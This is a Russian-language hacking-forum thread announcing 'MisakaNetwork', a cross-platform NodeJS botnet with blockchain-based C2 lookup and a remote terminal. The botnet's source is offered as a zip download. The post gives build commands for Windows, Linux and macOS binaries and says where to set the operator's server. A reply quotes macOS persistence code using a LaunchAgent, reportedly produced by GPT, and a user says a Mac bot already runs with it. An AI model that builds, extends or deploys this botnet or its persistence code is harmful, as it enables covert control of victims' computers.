What's new
Runion

This is a sample guest message. Register a free account today to become a member! Once signed in, you'll be able to participate on this site by adding your own topics and posts, as well as connect with other members through your own private inbox!

[MisakaNetwork] Win Botnet на NodeJS с получением C2 сервера через блокчейн.

MisakaNetwork v0.0.1(бля не знаю нахуй я вообще написал ВЕРСИЯ НОЛЬ точка НОЛЬ точка ОДИН)

Теперь клиент не только на windows есть, но и на linux(ГНУ ЛИНУкС) и macos(максос).
Добавлен терминал с которым можно взаимодействовать и который поддерживает свою сессию. (Текст у него немного выезжает но мне лень было верстать)

Минус в том что runFile команда работает только на Windows, мне лень было переписывать ее. Надо js кодом скачаете разницы как по мне нет =)
Команда для билда всех платформ
Код: Скопировать в буфер обмена
Code:
ncc build -o build/lib index.js && \
pkg --target node18-win-x64 -o build/node-win.exe ./build/lib/index.js && \
pkg --target node18-linux-x64 -o build/node-linux ./build/lib/index.js && \
pkg --target node18-macos-x64 -o build/node-macos ./build/lib/index.js

Измененые файлы:
botnet-client/index.js
botnet-frontend/src/app/panel/page.tsx
botnet-frontend/src/api.ts
botnet-server/src/botScripts/init.js
botnet-server/src/client-api/client-api.controller.ts
botnet-server/src/client-api/client-api.service.ts
botnet-server/src/user-api/user-api.controller.ts
botnet-server/src/user-api/user-api.service.ts

Добавленые файлы:
botnet-server/src/botScripts/runTerminal.js

Чтоб терминал работал поменяйте апи сервера на ваш в этой строке
botList[botId].tasks.push(await runTerminalScript("http://localhost:3001", botId));
по этому пути
botnet-server/src/user-api/user-api.service.ts

Могут быть баги ибо я нихера не проверял так что пишите тут

Вложения​


  • MisakaNetwork v0.0.1.zip
    368 КБ · Просмотры: 0
 
Птюч сказал(а):
Кстати, кто занят выбором антивируса, можете вот смотреть на подобные таблицы и кто что детектит, это один из лучших способов выбрать себе антивирь.
Нажмите, чтобы раскрыть...
хех имхо любой антивирь - это официальный трой в системе, каждый олдскул вроде знает об этом)
 
_lain сказал(а):
максос не тестил ваще, но на линуксе добавляло, я тестил. Возможности застестить нету на маке). я за всю жизнь даже мак не трогал

Мне ваще гпт этот скрипт выдал, не стал убирать все равно от этого нич не ломается

Код: Скопировать в буфер обмена
Code:
  } else if (platform === 'darwin') {
   const plistContent = `
 <?xml version="1.0" encoding="UTF-8"?>
 <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
 <plist version="1.0">
 <dict>
  <key>Label</key>
  <string>com.user.startup</string>
  <key>ProgramArguments</key>
  <array>
   <string>${exePath}</string>
  </array>
  <key>RunAtLoad</key>
  <true/>
 </dict>
 </plist>`;
   const plistPath = path.join(os.homedir(), 'Library', 'LaunchAgents', 'com.user.startup.plist');
  
   try {
    fs.writeFileSync(plistPath, plistContent);
    await execAsync(`launchctl load ${plistPath}`);
    console.log('Script successfully added to macOS startup.');
   } catch (error) {
    console.error('Error adding script to macOS startup:', error);
   }
Нажмите, чтобы раскрыть...
Попалься какой то бот на маке, и закреп вроде бы работает.
 
Top